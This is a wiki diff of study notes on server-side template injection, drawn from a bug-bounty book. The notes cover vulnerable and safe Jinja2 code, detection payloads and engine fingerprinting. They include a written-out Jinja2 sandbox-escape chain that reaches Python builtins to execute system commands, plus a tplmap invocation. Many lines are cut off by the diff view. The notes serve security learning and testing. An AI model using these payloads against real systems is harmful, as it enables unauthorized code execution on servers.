bbc:16_template_injection
Differences
This shows you the differences between two versions of the page.
| bbc:16_template_injection [2026/05/14 16:51] – bbc ch16 server-side template injection drew | bbc:16_template_injection [2026/05/14 19:02] (current) – fix SSTI formatting - escape DokuWiki curly brace interpretation drew | ||
|---|---|---|---|
| Line 3: | Line 3: | ||
| //Source: Bug Bounty Bootcamp by Vickie Li// | //Source: Bug Bounty Bootcamp by Vickie Li// | ||
| - | ===== How SSTI Works ===== | + | Template engines (Jinja2, Twig, FreeMarker, ERB, Smarty) combine application data with templates to generate HTML pages. |
| - | Template engines (Jinja2, Twig, FreeMarker, ERB, Smarty) combine application data with templates to generate HTML pages. | + | ===== How SSTI Works ===== |
| **Vulnerable code (Python/ | **Vulnerable code (Python/ | ||
| Line 12: | Line 12: | ||
| tmpl = Template("< | tmpl = Template("< | ||
| tmpl.render() | tmpl.render() | ||
| - | ``` | + | </ |
| **Safe code:** | **Safe code:** | ||
| <code python> | <code python> | ||
| - | tmpl = Template("< | + | tmpl = Template("< |
| tmpl.render(name=user_input) | tmpl.render(name=user_input) | ||
| - | ``` | + | </ |
| - | When code is vulnerable, submitting | + | When code is vulnerable, submitting |
| ===== Prevention ===== | ===== Prevention ===== | ||
| Line 42: | Line 42: | ||
| < | < | ||
| {{1+abcxx}}${1+abcxx}< | {{1+abcxx}}${1+abcxx}< | ||
| - | ``` | + | </ |
| - | If the server returns an error or renders unexpectedly, | + | If the server returns an error or renders unexpectedly, |
| ^ Payload ^ Works in ^ | ^ Payload ^ Works in ^ | ||
| - | | '' | + | | < |
| | '' | | '' | ||
| | ''< | | ''< | ||
| Line 53: | Line 53: | ||
| If any of these returns '' | If any of these returns '' | ||
| - | If input is placed inside expression tags already (e.g., | + | If input is placed inside expression tags already (e.g., |
| ==== Step 3: Identify the Template Engine ==== | ==== Step 3: Identify the Template Engine ==== | ||
| * Error message may name the engine (e.g., '' | * Error message may name the engine (e.g., '' | ||
| - | * '' | + | * < |
| - | * ''< | + | * ''< |
| - | * '' | + | * '' |
| ===== Escalating SSTI to RCE (Jinja2) ===== | ===== Escalating SSTI to RCE (Jinja2) ===== | ||
| - | Jinja2 blocks direct | + | Jinja2 blocks direct import and '' |
| - | **List all subclasses of object:** | + | List all subclasses of object: |
| < | < | ||
| {{[].__class__.__bases__[0].__subclasses__()}} | {{[].__class__.__bases__[0].__subclasses__()}} | ||
| - | ``` | + | </ |
| - | **Find catch_warnings and access builtins:** | + | Find '' |
| < | < | ||
| {% for x in [].__class__.__bases__[0].__subclasses__() %} | {% for x in [].__class__.__bases__[0].__subclasses__() %} | ||
| - | {% if ' | + | |
| - | {{x()._module.__builtins__}} | + | {{ x()._module.__builtins__ }} |
| - | {% endif %} | + | {% endif %} |
| {% endfor %} | {% endfor %} | ||
| - | ``` | + | </ |
| - | **Execute a system command (e.g., ls):** | + | Execute a system command (e.g., |
| < | < | ||
| {% for x in [].__class__.__bases__[0].__subclasses__() %} | {% for x in [].__class__.__bases__[0].__subclasses__() %} | ||
| - | {% if ' | + | |
| - | {{x()._module.__builtins__[' | + | {{ x()._module.__builtins__[' |
| - | {% endif %} | + | {% endif %} |
| {% endfor %} | {% endfor %} | ||
| - | ``` | + | </ |
| - | **Safe PoC -- create a file with a distinct name:** | + | Safe PoC -- create a file with a distinct name: |
| < | < | ||
| {% for x in [].__class__.__bases__[0].__subclasses__() %} | {% for x in [].__class__.__bases__[0].__subclasses__() %} | ||
| - | {% if ' | + | |
| - | {{x()._module.__builtins__[' | + | {{ x()._module.__builtins__[' |
| - | {% endif %} | + | {% endif %} |
| {% endfor %} | {% endfor %} | ||
| - | ``` | + | </ |
| Other template engines require different syntax and sandbox-escape methods -- consult engine-specific documentation and PortSwigger' | Other template engines require different syntax and sandbox-escape methods -- consult engine-specific documentation and PortSwigger' | ||
| Line 102: | Line 102: | ||
| ===== Automation ===== | ===== Automation ===== | ||
| - | **tplmap** (https:// | + | tplmap (https:// |
| + | < | ||
| + | python3 tplmap.py -u " | ||
| + | </ | ||
| ===== 7-Step Checklist ===== | ===== 7-Step Checklist ===== | ||
| - Find user-input locations that are displayed back to the user. | - Find user-input locations that are displayed back to the user. | ||
| - | - Submit | + | - Submit |
| - | - If blocked/no output: try the polyglot error payload | + | - If blocked |
| - Identify the template engine from error messages or differential payloads. | - Identify the template engine from error messages or differential payloads. | ||
| - Research sandbox-escape techniques for the identified engine. | - Research sandbox-escape techniques for the identified engine. | ||
bbc/16_template_injection.txt · Last modified: by drew
